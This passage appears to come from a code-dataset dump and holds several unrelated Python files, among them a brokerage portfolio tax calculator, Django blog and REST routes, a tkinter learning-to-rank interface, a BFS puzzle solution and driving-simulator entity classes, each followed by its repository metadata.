list()\r\n for this_pos in positions.payload.positions:\r\n # market cost (total for each position)\r\n market_cost = this_pos.expected_yield.value + (this_pos.average_position_price.value * this_pos.balance)\r\n\r\n # current market prise for 1 item\r\n market_price = market_cost / this_pos.balance\r\n\r\n # % change\r\n percent_change = ((market_price / this_pos.average_position_price.value) * 100) - 100\r\n\r\n global market_cost_rub_cb\r\n # market value rub CB\r\n if this_pos.average_position_price.currency == 'RUB':\r\n market_cost_rub_cb = market_cost\r\n elif this_pos.average_position_price.currency == 'USD':\r\n market_cost_rub_cb = market_cost * rates_today_cb['USD'].value\r\n time.sleep(delay_time) # to prevent TimeOut error\r\n elif this_pos.average_position_price.currency == 'EUR':\r\n market_cost_rub_cb = market_cost * rates_today_cb['EUR'].value\r\n time.sleep(delay_time) # to prevent TimeOut error\r\n else:\r\n market_cost_rub_cb = 'unknown currency'\r\n\r\n # for further tax calculation\r\n def calculate_ave_buy_price_rub():\r\n item_list = []\r\n # for this position's figi - add units into the list from operations\r\n for ops in reversed(operations.payload.operations):\r\n if ops.figi == this_pos.figi:\r\n if ops.operation_type == 'Buy' and ops.payment != 0:\r\n i = 0\r\n if ops.currency == 'RUB':\r\n # price for 1 item\r\n item = ops.payment / ops.quantity_executed\r\n # add bought items to the list:\r\n number = ops.quantity_executed\r\n while i < number:\r\n item_list.append(item)\r\n i += 1\r\n elif ops.currency == 'USD':\r\n rate_for_date = ExchangeRates(ops.date)\r\n # price for 1 item\r\n item = (ops.payment / ops.quantity_executed) * rate_for_date['USD'].value\r\n # add bought items to the list:\r\n number = ops.quantity_executed\r\n while i < number:\r\n item_list.append(item)\r\n i += 1\r\n elif ops.currency == 'EUR':\r\n rate_for_date = ExchangeRates(ops.date)\r\n # price for 1 item\r\n item = (ops.payment / ops.quantity_executed) * rate_for_date['EUR'].value\r\n # add bought items to the list:\r\n number = ops.quantity_executed\r\n while i < number:\r\n item_list.append(item)\r\n i += 1\r\n else:\r\n print('ERROR: unknown currency in position: ' + this_pos.name)\r\n if ops.operation_type == 'Sell' and ops.payment != 0:\r\n # remove sold items to the list:\r\n number = ops.quantity_executed\r\n del item_list[0:number]\r\n time.sleep(delay_time) # to prevent TimeOut error\r\n # calculate average buying price in Rub\r\n ave_buy_price_rub = 0\r\n \r\n if len(item_list) != 0:\r\n ave_buy_price_rub = sum(item_list) / len(item_list)\r\n\r\n return abs(ave_buy_price_rub)\r\n\r\n ave_buy_price_rub = calculate_ave_buy_price_rub()\r\n\r\n sum_buy_rub = ave_buy_price_rub * this_pos.balance\r\n\r\n tax_base = market_cost_rub_cb - sum_buy_rub\r\n if tax_base < 0:\r\n tax_base = 0\r\n\r\n exp_tax = tax_base * Decimal(tax_rate / 100)\r\n\r\n my_positions.append(PortfolioPosition(this_pos.figi, this_pos.name, this_pos.ticker, this_pos.balance,\r\n this_pos.average_position_price.currency,\r\n this_pos.average_position_price.value, this_pos.expected_yield.value,\r\n market_price, percent_change, market_cost, market_cost_rub_cb,\r\n ave_buy_price_rub, sum_buy_rub, tax_base, exp_tax))\r\n\r\n print(this_pos.name)\r\n\r\n print('..positions are ready')\r\n return my_positions\r\n\r\n\r\ndef get_average_percent():\r\n percent_list = []\r\n for this_pos in my_positions:\r\n percent_list.append(this_pos.percent_change)\r\n return sum(percent_list) / len(percent_list)\r\n\r\n\r\ndef get_portfolio_cost_rub_market():\r\n costs_list = []\r\n for this_pos in my_positions:\r\n if this_pos.currency == 'RUB':\r\n costs_list.append(this_pos.market_cost)\r\n elif this_pos.currency == 'USD':\r\n costs_list.append(this_pos.market_cost * market_rate_today_usd)\r\n elif this_pos.currency == 'EUR':\r\n costs_list.append(this_pos.market_cost * market_rate_today_eur)\r\n else:\r\n return 'error'\r\n return sum(costs_list) + cash_rub\r\n\r\n\r\ndef calculate_cb_value_rub_sum():\r\n list = []\r\n for pos in my_positions:\r\n list.append(pos.market_cost_rub_cb)\r\n return sum(list) + cash_rub\r\n\r\n\r\ndef calculate_sum_pos_ave_buy_rub():\r\n buy_list = []\r\n for pos in my_positions:\r\n buy_list.append(pos.sum_buy_rub)\r\n return sum(buy_list)\r\n\r\n\r\ndef calculate_sum_exp_tax():\r\n exp_tax_list = []\r\n for pos in my_positions:\r\n exp_tax_list.append(pos.exp_tax)\r\n return sum(exp_tax_list)\r\n\r\n\r\n# PART 2\r\n\r\nclass PortfolioOperation:\r\n def __init__(self, op_type, op_date, op_currency, op_payment):\r\n self.op_type = op_type\r\n self.op_date = op_date\r\n self.op_currency = op_currency\r\n self.op_payment = op_payment\r\n\r\n\r\ndef create_operations_objects():\r\n print('creating operations objects..')\r\n my_operations = list()\r\n for this_op in operations.payload.operations:\r\n op_type = this_op.operation_type\r\n op_date = this_op.date\r\n op_currency = this_op.currency\r\n op_payment = this_op.payment\r\n\r\n my_operations.append(PortfolioOperation(op_type=op_type, op_date=op_date, op_currency=op_currency,\r\n op_payment=op_payment))\r\n\r\n print('..operations are ready')\r\n return my_operations\r\n\r\n\r\ndef calculate_operations_sums_rub(current_op_type):\r\n op_list = []\r\n for op in my_operations:\r\n if op.op_type == current_op_type:\r\n if op.op_payment != 0:\r\n if op.op_currency == 'RUB':\r\n op_list.append(op.op_payment)\r\n elif op.op_currency == 'USD':\r\n rate = ExchangeRates(op.op_date)\r\n op_list.append(op.op_payment * rate['USD'].value)\r\n time.sleep(delay_time) # to prevent TimeOut error\r\n elif op.op_currency == 'EUR':\r\n rate = ExchangeRates(op.op_date)\r\n op_list.append(op.op_payment * rate['EUR'].value)\r\n time.sleep(delay_time) # to prevent TimeOut error\r\n else:\r\n print('error: unknown currency!')\r\n\r\n return sum(op_list)\r\n\r\n\r\nmy_positions = creating_positions_objects()\r\naverage_percent = get_average_percent()\r\nportfolio_cost_rub_market = get_portfolio_cost_rub_market()\r\nsum_portfolio_value_rub_cb = calculate_cb_value_rub_sum()\r\nsum_pos_ave_buy_rub = calculate_sum_pos_ave_buy_rub()\r\nsum_exp_tax = calculate_sum_exp_tax()\r\n\r\nmy_operations = create_operations_objects()\r\n\r\nprint('calculating PayIn operations sum in RUB..')\r\nsum_payin = calculate_operations_sums_rub('PayIn')\r\n\r\nprint('calculating PayOut operations sum in RUB..')\r\nsum_payout = calculate_operations_sums_rub('PayOut')\r\n\r\nprint('calculating Buy operations sum in RUB..')\r\nsum_buy = calculate_operations_sums_rub('Buy')\r\n\r\nprint('calculating BuyCard operations sum in RUB..')\r\nsum_buycard = calculate_operations_sums_rub('BuyCard')\r\n\r\nprint('calculating Sell operations sum in RUB..')\r\nsum_sell = calculate_operations_sums_rub('Sell')\r\n\r\nprint('calculating Coupon operations sum in RUB..')\r\nsum_coupon = calculate_operations_sums_rub('Coupon')\r\n\r\nprint('calculating Dividend operations sum in RUB..')\r\nsum_dividend = calculate_operations_sums_rub('Dividend')\r\n\r\nprint('calculating Tax operations sum in RUB..')\r\nsum_tax = calculate_operations_sums_rub('Tax')\r\n\r\nprint('calculating TaxCoupon operations sum in RUB..')\r\nsum_taxcoupon = calculate_operations_sums_rub('TaxCoupon')\r\n\r\nprint('calculating TaxDividend operations sum in RUB..')\r\nsum_taxdividend = calculate_operations_sums_rub('TaxDividend')\r\n\r\nprint('calculating BrokerCommission operations sum in RUB..')\r\nsum_brokercomission = calculate_operations_sums_rub('BrokerCommission')\r\n\r\nprint('calculating ServiceCommission operations sum in RUB..')\r\nsum_servicecomission = calculate_operations_sums_rub('ServiceCommission')\r\n\r\n\r\n# PART 3\r\nprint('prepare statistics')\r\n\r\n\r\ndef calc_investing_period():\r\n start_date = data_parser.account_data['start_date'].replace(tzinfo=None)\r\n # inv_period = data_parser.account_data['now_date'] - start_date\r\n inv_period = relativedelta(data_parser.account_data['now_date'], start_date)\r\n return inv_period\r\n\r\n# investing period\r\ninvesting_period = calc_investing_period()\r\ninvesting_period_str = str(investing_period.years) + 'y ' + str(investing_period.months) + 'm ' + \\\r\n str(investing_period.days) + 'd'\r\nprint('investing period: ' + investing_period_str)\r\n\r\n# PayIn - PayOut\r\npayin_payout = sum_payin - abs(sum_payout)\r\n\r\n\r\n\r\n\r\n# EXCEL\r\nexcel_builder.build_excel_file(my_positions, my_operations, rates_today_cb, market_rate_today_usd,\r\n market_rate_today_eur, average_percent, portfolio_cost_rub_market,\r\n sum_portfolio_value_rub_cb, sum_pos_ave_buy_rub, sum_exp_tax,\r\n sum_payin, sum_payout, sum_buy, sum_buycard, sum_sell, sum_coupon, sum_dividend,\r\n sum_tax, sum_taxcoupon, sum_taxdividend, sum_brokercomission, sum_servicecomission,\r\n investing_period_str, cash_rub, payin_payout)\r\n\r\n","repo_name":"Alex-Fot/tinkproject","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"4832389115","text":"from django.conf import settings\nfrom django.conf.urls import url, include\nfrom django.core.urlresolvers import reverse\nfrom django.views.generic import TemplateView\n\nfrom .feeds import BlogPageFeed\nfrom .views import EntryPageServe, EntryPageUpdateCommentsView, PortfolioPage, ContactPage, ContactSuccessPage\n\nurlpatterns = [\n url(\n regex=r'^entry_page/(?P<entry_page_id>\\d+)/update_comments/$',\n view=EntryPageUpdateCommentsView.as_view(),\n name='entry_page_update_comments'\n ),\n url(\n regex=r'^(?P<blog_slug>[-\\w]+)/(?P<year>\\d{4})/(?P<month>\\d{2})/(?P<day>\\d{2})/(?P<slug>[-\\w]+)/$',\n view=EntryPageServe.as_view(),\n name='entry_page_serve_slug'\n ),\n url(\n regex=r'^(?P<year>\\d{4})/(?P<month>\\d{2})/(?P<day>\\d{2})/(?P<slug>[-\\w]+)/$',\n view=EntryPageServe.as_view(),\n name='entry_page_serve'\n ),\n url(\n regex=r'^(?P<blog_slug>[-\\w]+)/feed/$',\n view=BlogPageFeed(),\n name='blog_page_feed_slug'\n ),\n url(\n regex=r'^feed/$',\n view=BlogPageFeed(),\n name='blog_page_feed'\n ),\n\n url(\n regex=r'^contact/$',\n view=ContactPage.as_view(),\n name='contact_page',\n ),\n\n url(r'^contact/thanks/$',\n ContactSuccessPage.as_view()\n ),\n\n url(\n regex=r'^portfolio/$',\n view=PortfolioPage.as_view(),\n name='portfolio_page',\n ),\n\n url(\n regex=r'^post/$',\n view=TemplateView.as_view(template_name=\"blog/entry_page.html\"),\n name='post_page',\n )\n]\n\n\n# from wagtail.wagtailcore import urls as wagtail_urls\n# from wagtail.wagtailadmin import urls as wagtailadmin_urls\n# from wagtail.wagtaildocs import urls as wagtaildocs_urls\n# from wagtail.wagtailsearch import urls as wagtailsearch_urls\n# from wagtail.contrib.wagtailsitemaps.views import sitemap\n#\n# urlpatterns.extend([\n# url(\n# regex=r'^blog_admin/',\n# view=include(wagtailadmin_urls)\n# ),\n# url(\n# regex=r'',\n# view=include(wagtail_urls)\n# ),\n# url(\n# regex=r'^search/',\n# view=include(wagtailsearch_urls)\n# ),\n# url(\n# regex=r'^documents/',\n# view=include(wagtaildocs_urls)\n# ),\n# url(\n# regex='^sitemap\\.xml$',\n# view=sitemap\n# )\n# ])\n\n\ndef get_entry_url(entry, blog_page, root_page):\n \"\"\"\n Get the entry url given and entry page a blog page instances.\n It will use an url or another depending if blog_page is the root page.\n \"\"\"\n if root_page == blog_page:\n return reverse('blog:entry_page_serve', kwargs={\n 'year': entry.date.strftime('%Y'),\n 'month': entry.date.strftime('%m'),\n 'day': entry.date.strftime('%d'),\n 'slug': entry.slug\n })\n else:\n return reverse('blog:entry_page_serve_slug', kwargs={\n 'blog_slug': blog_page.slug,\n 'year': entry.date.strftime('%Y'),\n 'month': entry.date.strftime('%m'),\n 'day': entry.date.strftime('%d'),\n 'slug': entry.slug\n })\n\n\ndef get_feeds_url(blog_page, root_page):\n \"\"\"\n Get the feeds urls a blog page instance.\n It will use an url or another depending if blog_page is the root page.\n \"\"\"\n if root_page == blog_page:\n return reverse('blog_page_feed')\n else:\n return reverse('blog_page_feed_slug', kwargs={'blog_slug': blog_page.slug})\n\n\n","repo_name":"Alfredynho/bitblog","sub_path":"apps/blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33496168227","text":"# Librarys required\nimport tkinter\nfrom tkinter import messagebox, IntVar, simpledialog\nimport webbrowser\nimport ltr\nimport random\nimport Agent\nimport torch\nimport numpy as np\nimport time\nimport rank as rk\nimport args\n\ntorch.manual_seed(6)\nnp.random.seed(6)\nrandom.seed(6)\n\n\n# To bind the url to the title\ndef open_url(urlStr):\n \"\"\"utility function for hyperlinks functionality\"\"\"\n webbrowser.open(urlStr)\n\n\n\"\"\"\n class: VisualInterface: \n Contains all the function definition and necessary variables for the \n interaction between the GUI and the system.\n\"\"\"\nclass VisualInterface:\n # Displays top N results\n N = 40\n page = 1\n\n ## variables to store required entities\n # Current query string\n queryStr = ''\n # all displayed label's URL\n urlStr = []\n # all displayed label's title \n titleStr = []\n # List of all query Ids\n topicList = []\n # Stored all queries strings in dict\n querystring = {}\n # query-doc for K documents shown to user {query: [doc]}\n query_doc_K_dict = {}\n # Indexing structure for dataset stored for fast access of data\n docoffset = {}\n # Current ID of the query\n topicId = ''\n # Current list of documents shown on screen(all pages)\n docLst = []\n # Current list of documents shown in the current page\n pageLst = []\n # GUI Label Ids stored for updation and print\n labelList = []\n # Dictionary of user feedback : {queryId: {docId: position}}\n userFeedbacks = {}\n # Stores a sample of episode by agent : {queryid: [state,action]}\n sample_episode = {}\n # Stores a list of actions (or ranking of documents) done by the agent: {queryId: [docIds]}\n action_list = {}\n # Dictionary of documents and their relevance scores\n doc_M_rs = {}\n # All the document IDs present in corpus (superset of M)\n df_lst = []\n # List of parameters for the agent\n W = []\n # To fetch the actual data from the title and url file opened\n f = open(\"msmarco-docs.tsv\", encoding='utf8')\n\n\n # Initialize the window, radiobuttons, and the timestep. \n # N denotes number of documents across the pages\n def __init__(self, window, alpha, beta, N):\n self.window = window\n self.radioselect = IntVar()\n\n # Loading model for doc2vec\n self.model = ltr.LoadModel(\"d2v_corpus_set_1m.model\")\n self.t = 0\n self.N = N\n\n # storing retrieval parameters alpha and beta\n self.alpha = alpha\n self.beta = beta\n\n\n # Button Mapped function to move to the next page\n def nextPage(self, lbl_queryStr):\n if self.page >= 4:\n messagebox.showinfo('Error', 'You have reached the last page')\n else:\n lbl_queryStr.config(text=\"Current Query: \\\"\" + self.querystring[self.topicId] + \"\\\"\")\n self.page+=1\n self.pageLst = self.docLst[(self.page-1)*10:self.page*10]\n\n # Updating screen with new labels\n self.updateStrings(self.pageLst)\n self.updateLabels()\n\n\n # Button Mapped function to move to the previous page\n def prevPage(self, lbl_queryStr):\n if self.page <= 1:\n messagebox.showinfo('Error', 'You have reached the first page')\n else:\n lbl_queryStr.config(text=\"Current Query: \\\"\" + self.querystring[self.topicId] + \"\\\"\")\n self.page -= 1\n self.pageLst = self.docLst[(self.page-1)*10:self.page*10]\n\n # Updating screen with new labels\n self.updateStrings(self.pageLst)\n self.updateLabels()\n\n\n #Changes the top N results labels with contents\n def updateLabels(self):\n for i in range(10):\n self.labelList[i].config(text=self.titleStr[i])\n self.labelList[i].bind(\"<Button-1>\", lambda e, url=self.urlStr[i]: open_url(url))\n\n\n # Updates the strings for the labels based on the document list passed\n def updateStrings(self, pageLst):\n \"\"\"Updates the contents of the variables titleStr,urlStr from the given pageLst \"\"\"\n self.urlStr = []\n self.titleStr = []\n iterDoc = 1\n\n for i in pageLst:\n docFetched = rk.getcontent(i, self.docoffset, self.f)\n\n # Use url as title when title is missing\n if len(docFetched[2]) <= 0 or docFetched[2] == '.':\n self.titleStr.append(str((self.page-1)*10 + iterDoc) + \".\" + docFetched[1])\n # print(\"Docid: \"+i+\" Content: \"+docFetched[3][:40])\n else:\n self.titleStr.append(str((self.page-1)*10 + iterDoc) + \".\" + docFetched[2])\n\n self.urlStr.append(docFetched[1])\n iterDoc += 1\n\n\n # To display labels for the first time on the screen\n def printLabels(self):\n for i in range(10):\n label = tkinter.Label(self.window, text=self.titleStr[i], wraplength=550, justify=\"left\",fg=\"blue\", cursor=\"hand2\")\n label.grid(row=i + 2, column=0, sticky='W')\n label.bind(\"<Button-1>\", lambda e, url=self.urlStr[i]: open_url(url))\n self.labelList.append(label)\n\n \n # Function mapping to record manual feedback, Here 1 = manual feedback\n def record_manualFeedback(self):\n \"\"\" Event Handler for the event:Optimize \"\"\"\n\n print(\"\\n------- RECORDING USER FEEDBACKS ------\\n\")\n messagebox.showinfo('popup', 'Storing manual feedback....')\n\n # index of selected query\n indexSelected = self.radioselect.get() - 1\n\n # If no relevant query selected by user\n if indexSelected == -1:\n messagebox.askokcancel(\"Error\", \"You have not selected any link, Please select a link\")\n else:\n messagebox.showinfo('popup', f'Recording feedback: {((self.page-1) * 10) + (indexSelected + 1)}')\n \n # Check if feedback to the document is already given\n if (1,self.topicId) not in self.userFeedbacks:\n self.userFeedbacks[(1,self.topicId)] = {}\n \n # Add feedback with value as position of the document\n self.userFeedbacks[(1,self.topicId)][self.pageLst[indexSelected]] = ((self.page-1) * 10) + (indexSelected + 1)\n\n print(\"User feedbacks recorded so far: \")\n print(self.userFeedbacks)\n print()\n self.radioselect.set(0)\n\n\n # Function mapping to record automatic feedback, Here 0 = automatic feedback\n def generate_userFeedback(self):\n print(\"\\n-------GENERATING USER FEEDBACKS AUTOMATICALLY --------\\n\")\n number_users = 0\n\n # Exception Testing\n try:\n number_users = int(simpledialog.askstring(\"Input\", \"How many user feedbacks to generate at once?\", parent = self.window))\n except:\n print(\"Invalid input, taking number of user feedbacks as 0\\n\\n\")\n if number_users == 0:\n print(\"No feedback generated\")\n return\n\n # Generate automatic user feedbacks based on relevance labels available\n userFeedbacks = ltr.generate_userFeedback(self.queryStr, list(self.docLst), number_users, self.model)\n\n # Check if feedback to the document is already given \n if (0, self.topicId) not in self.userFeedbacks:\n self.userFeedbacks[(0, self.topicId)] = {}\n for item in list(userFeedbacks):\n self.userFeedbacks[(0, self.topicId)][item] = userFeedbacks[item]\n\n print(\"\\nUser feedbacks recorded so far\")\n print(self.userFeedbacks)\n\n\n # Function Mapping to the next query\n def nextQuery(self, lbl_queryStr):\n # Fetches the next query and updates the UI to display the corresponding results.\n print(\"\\n-------GENERATING NEXT QUERY AND DOCUMENT LIST --------\\n\")\n\n try:\n topicInput = simpledialog.askstring(\"Input\", \"Enter the query ID to go to:\", parent = self.window)\n if topicInput == None or topicInput == '':\n return\n else:\n self.queryStr = self.querystring[topicInput]\n self.topicId = topicInput\n\n except:\n print(\"Invalid input\\n\\n\")\n messagebox.showinfo('Next Query', 'Failed to load query')\n return \n\n # Retrieving N documents\n query_doc_M_retrieved = ltr.query_retrieval(self.queryStr, self.doc_M_rs, self.alpha, self.beta, self.model)\n self.docLst = list(query_doc_M_retrieved)[0:self.N]\n lbl_queryStr.config(text=\"Current Query: \\\"\" + self.querystring[self.topicId] + \"\\\"\")\n\n # Ranking based on policy \n self.sample_episode[self.topicId], self.action_list[self.topicId] = Agent.rank(list(self.docLst), \n self.topicId, \n self.docoffset, \n self.model, self.W)\n \n # Update screen with new list\n messagebox.showinfo('Next Query', 'Next Query Loaded')\n self.page = 1\n self.query_doc_K_dict[self.topicId] = self.action_list[self.topicId]\n self.docLst = self.action_list[self.topicId]\n self.pageLst = self.docLst[(self.page-1)*10:self.page*10]\n self.updateStrings(self.pageLst)\n self.updateLabels()\n\n\n # Function mapping to update to next timestep\n def update(self, decay_value, len_add_docs, gamma, num_features, learning_rate, window_size):\n\n print(\"\\n---------UPDATING---------\\n\")\n print(\"\\nThe Stored user feedbacks are: \\n\")\n print(self.userFeedbacks)\n print(f\"\\nUpdating from time t = {self.t} to t = {self.t+1}\\n\")\n self.t += 1\n\n ## Update the relevance scores based on the user-feedbacks\n print(\"\\n---Updating relevance scores of the document---\\n\")\n self.doc_M_rs = ltr.updateRelevanceScore(self.doc_M_rs, self.userFeedbacks, decay_value)\n\n ## Update the agents policy based on the relevance score --> rewards\n print(\"\\n---Generating rewards based on the Relevance Score and updating the agent's policy---\\n\")\n self.W = Agent.update(self.W, self.userFeedbacks, self.doc_M_rs, self.query_doc_K_dict, self.sample_episode, \n self.docoffset, self.model, gamma, num_features, learning_rate)\n\n ## Add N more documents\n self.doc_M_rs = ltr.extendDocList(self.doc_M_rs, len_add_docs, self.model, self.df_list)\n\n ## Do sliding window on the M documents\n print(\"\\n---Performing Sliding window on the documents---\\n\")\n self.doc_M_rs = ltr.slideWindow(self.doc_M_rs, window_size)\n\n ## Retrieve again for current query\n print(\"\\n---Performing Retrieval based on Similarity and relevance scores---\\n\")\n query_doc_M_retrieved = ltr.query_retrieval(self.queryStr, self.doc_M_rs, self.alpha, self.beta, self.model)\n\n self.docLst = list(query_doc_M_retrieved)[0:self.N]\n\n ## Ranking based on updated weights \n print(\"\\n---Ranking based on Agent's policy---\\n\")\n self.sample_episode[self.topicId], self.action_list[self.topicId] = Agent.rank(list(self.docLst), \n self.topicId, \n self.docoffset, \n self.model, self.W)\n\n ## Update screen\n messagebox.showinfo('Update', f'Updated to time {self.t}')\n self.docLst = self.action_list[self.topicId]\n self.query_doc_K_dict[self.topicId] = self.docLst\n self.page = 1\n self.updateStrings(self.docLst)\n self.updateLabels()\n\n\n self.userFeedbacks = {}\n print(f\"\\nUpdated to time t = {self.t}\\n\")\n\n\ndef main():\n # Take input from user\n M, decay_value, len_add_docs, N, gamma, alpha, beta, num_features, learning_rate, window_size, corpus_size = args.fetchArgs()\n\n # Basic window settings\n window = tkinter.Tk()\n window.title(\"LTR_v6\")\n window.columnconfigure(0, weight=1)\n window.columnconfigure(1, weight=1)\n window.columnconfigure(2, weight=1)\n window.columnconfigure(3, weight=1)\n window.geometry('800x450')\n buttonContainer = tkinter.Frame(window)\n buttonContainer.grid(column=0, row=13, columnspan=4)\n\n ts = time.time()\n visual_obj = VisualInterface(window, alpha, beta, N)\n print(f\"Time taken to load model {time.time() - ts}\")\n\n ## Initial run\n # Fetching the dataset, and the queries\n print(\"\\n---Initializing time-step t = 0---\\n\")\n visual_obj.topicList, visual_obj.querystring, visual_obj.docoffset = rk.main()\n\n # Initializing each doc with relevance score of 1\n visual_obj.doc_M_rs, visual_obj.df_list = ltr.generate_M_docs(M, visual_obj.model, corpus_size)\n\n # Using the first query in the list\n visual_obj.topicId = visual_obj.topicList[0]\n visual_obj.queryStr = visual_obj.querystring[visual_obj.topicId]\n\n # Retrieving N documents for the query based on SS and RS\n query_doc_M_retrieved = ltr.query_retrieval(visual_obj.queryStr, visual_obj.doc_M_rs, alpha, beta, visual_obj.model)\n\n # Showing these documents to user\n visual_obj.docLst = list(query_doc_M_retrieved)[0:N]\n\n print(\"\\n--- Completed Initialization ---\\n\")\n\n # Initial Ranking of docList\n\n # Initialize the weights\n visual_obj.W = Agent.initialize_weights(num_features)\n \n # Initial Ranking based on initialized weights \n visual_obj.sample_episode[visual_obj.topicId], visual_obj.action_list[visual_obj.topicId] = Agent.rank(list(visual_obj.docLst), \n visual_obj.topicId, \n visual_obj.docoffset, \n visual_obj.model, visual_obj.W)\n\n # Label Definitions\n lbl_queryStr = tkinter.Label(window, wraplength=750, text=\"Current Query: \\\"\" + visual_obj.queryStr + \"\\\"\")\n lbl_queryStr.grid(column=0, row=0, sticky=\"W\", columnspan=4)\n tkinter.Label(window, text=\"Top 10 results:\").grid(row=1, sticky=\"W\")\n\n # Initial updates\n visual_obj.docLst = visual_obj.action_list[visual_obj.topicId]\n visual_obj.query_doc_K_dict[visual_obj.topicId] = visual_obj.docLst\n visual_obj.pageLst = visual_obj.docLst[(visual_obj.page-1)*10:visual_obj.page*10]\n visual_obj.updateStrings(visual_obj.pageLst)\n visual_obj.printLabels()\n\n # Button Definitions\n for i in range(0, 10):\n btn_feed = tkinter.Radiobutton(window, text=\"Relevant\", variable=visual_obj.radioselect, value=i + 1)\n btn_feed.grid(row=i + 2, column=1, columnspan=2, sticky=\"W\", padx=15)\n \n btn_pgNext = tkinter.Button(buttonContainer, text=\"Next Page\", command = lambda: visual_obj.nextPage(lbl_queryStr))\n btn_pgNext.grid(row=0, column=2, pady=15)\n \n btn_pgPrev = tkinter.Button(buttonContainer, text=\"Previous Page\", command = lambda: visual_obj.prevPage(lbl_queryStr))\n btn_pgPrev.grid(row=0, column=1, pady=15)\n \n btn_Optimize = tkinter.Button(buttonContainer, text=\"Record User Feedback\", command=visual_obj.record_manualFeedback)\n btn_Optimize.grid(row=1, column=0, padx=8)\n\n btn_Train = tkinter.Button(buttonContainer, text=\"Generate User feedbacks\",\n command=lambda: visual_obj.generate_userFeedback())\n btn_Train.grid(row=1, column=1, padx=8)\n\n btn_Train = tkinter.Button(buttonContainer, text=\"Update to Next Time-Step\",\n command=lambda: visual_obj.update(decay_value, len_add_docs, gamma, num_features, learning_rate, window_size))\n btn_Train.grid(row=1, column=2, padx=8)\n\n btn_queryNext = tkinter.Button(buttonContainer, text=\"Next Query\",\n command=lambda: visual_obj.nextQuery(lbl_queryStr))\n btn_queryNext.grid(row=1, column=3, padx=8)\n\n window.mainloop()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"roshan1999/Information-Retrieval","sub_path":"DynamicSetting/LTR_MSMARCO/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":16249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44706815941","text":"# 5014. 스타트링크\nfrom collections import deque\n\nf, s, g, u, d = map(int, input().split())\nvisited = [0 for _ in range(f+1)] # 0~f\nq = deque()\nq.append(s)\nvisited[s] = 1\nwhile q: # bfs\n v = q.popleft()\n if v == g:\n print(visited[v]-1)\n exit(0)\n for move in [u, -d]:\n nv = v + move\n if nv < 1 or nv > f:\n continue\n if visited[nv]:\n continue\n q.append(nv)\n visited[nv] = visited[v]+1\nprint(\"use the stairs\")","repo_name":"yebin-choi/problem-solving","sub_path":"Boj/5014.py","file_name":"5014.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24429111740","text":"from entities import RectangleEntity, CircleEntity, RingEntity\r\nfrom geometry import Point\r\n\r\n# For colors, we use tkinter colors. See http://www.science.smith.edu/dftwiki/index.php/Color_Charts_for_TKinter\r\n\r\nclass Car(RectangleEntity):\r\n def __init__(self, ID, model, center: Point, heading: float, color: str = 'red', lane = 0):\r\n size = Point(4., 2.)\r\n movable = True\r\n friction = 0.06\r\n super(Car, self).__init__(center, heading, size, movable, friction)\r\n self.color = color\r\n self.collidable = True\r\n self.lane = lane # added \r\n self.sensor = True \r\n self.ID = ID\r\n self.type = model\r\n # four lane highway, each lane is assigned a value\r\n # _______\r\n # 4\r\n # _______\r\n # _______\r\n # 3\r\n # _______\r\n # _______\r\n # 2\r\n # _______\r\n # _______\r\n # 1\r\n # _______\r\n # depending on whether the car merges left or right, we subtract or add 1 from self.lane\r\n \r\nclass Pedestrian(CircleEntity):\r\n def __init__(self, radius, ID, center: Point, heading: float, color: str = 'black'): \r\n radius = radius\r\n movable = True\r\n friction = 0.2\r\n super(Pedestrian, self).__init__(center, heading, radius, movable, friction)\r\n self.color = color\r\n self.collidable = True\r\n self.sensor = False \r\n self.ID = ID\r\n \r\nclass RectangleBuilding(RectangleEntity):\r\n def __init__(self, ID, center: Point, size: Point, color: str = 'gray26'):\r\n heading = 0.\r\n movable = False\r\n friction = 0.\r\n super(RectangleBuilding, self).__init__(center, heading, size, movable, friction)\r\n self.color = color\r\n self.collidable = True\r\n self.sensor = False \r\n self.ID = ID\r\n \r\nclass CircleBuilding(CircleEntity):\r\n def __init__(self, center: Point, radius: float, color: str = 'gray26'):\r\n heading = 0.\r\n movable = False\r\n friction = 0.\r\n super(CircleBuilding, self).__init__(center, heading, radius, movable, friction)\r\n self.color = color\r\n self.collidable = True\r\n self.sensor = False\r\n\r\nclass RingBuilding(RingEntity):\r\n def __init__(self, center: Point, inner_radius: float, outer_radius: float, color: str = 'gray26'):\r\n heading = 0.\r\n movable = False\r\n friction = 0.\r\n super(RingBuilding, self).__init__(center, heading, inner_radius, outer_radius, movable, friction)\r\n self.color = color\r\n self.collidable = True\r\n self.sensor = False\r\n \r\nclass Painting(RectangleEntity):\r\n def __init__(self, center: Point, size: Point, color: str = 'gray26', heading: float = 0.):\r\n movable = False\r\n friction = 0.\r\n super(Painting, self).__init__(center, heading, size, movable, friction)\r\n self.color = color\r\n self.collidable = False\r\n self.sensor = False","repo_name":"avishakumar21/Autonomous-vehicles-1","sub_path":"agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":2992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14248578005","text":"from django.urls import include, path\n\nfrom .views import (\n CategoryViewSet,\n CommentViewSet,\n GenreViewSet,\n ReviewViewSet,\n TitleViewSet,\n UserViewSet,\n get_jwt_token,\n register,\n)\nfrom core.routers import NoPutRouter\n\nv1_router = NoPutRouter()\n\nv1_router.register('users', UserViewSet)\nv1_router.register(\n r'titles/(?P<title_id>\\d+)/reviews', ReviewViewSet, basename='reviews'\n)\nv1_router.register(\n r'titles/(?P<title_id>\\d+)/reviews/(?P<review_id>\\d+)/comments',\n CommentViewSet,\n basename='comments',\n)\nv1_router.register('categories', CategoryViewSet)\nv1_router.register('genres', GenreViewSet)\nv1_router.register('titles', TitleViewSet)\n\nauth_urlpatterns = [\n path('signup/', register, name='register'),\n path('token/', get_jwt_token, name='token'),\n]\n\nurlpatterns = [\n path('v1/', include(v1_router.urls)),\n path('v1/auth/', 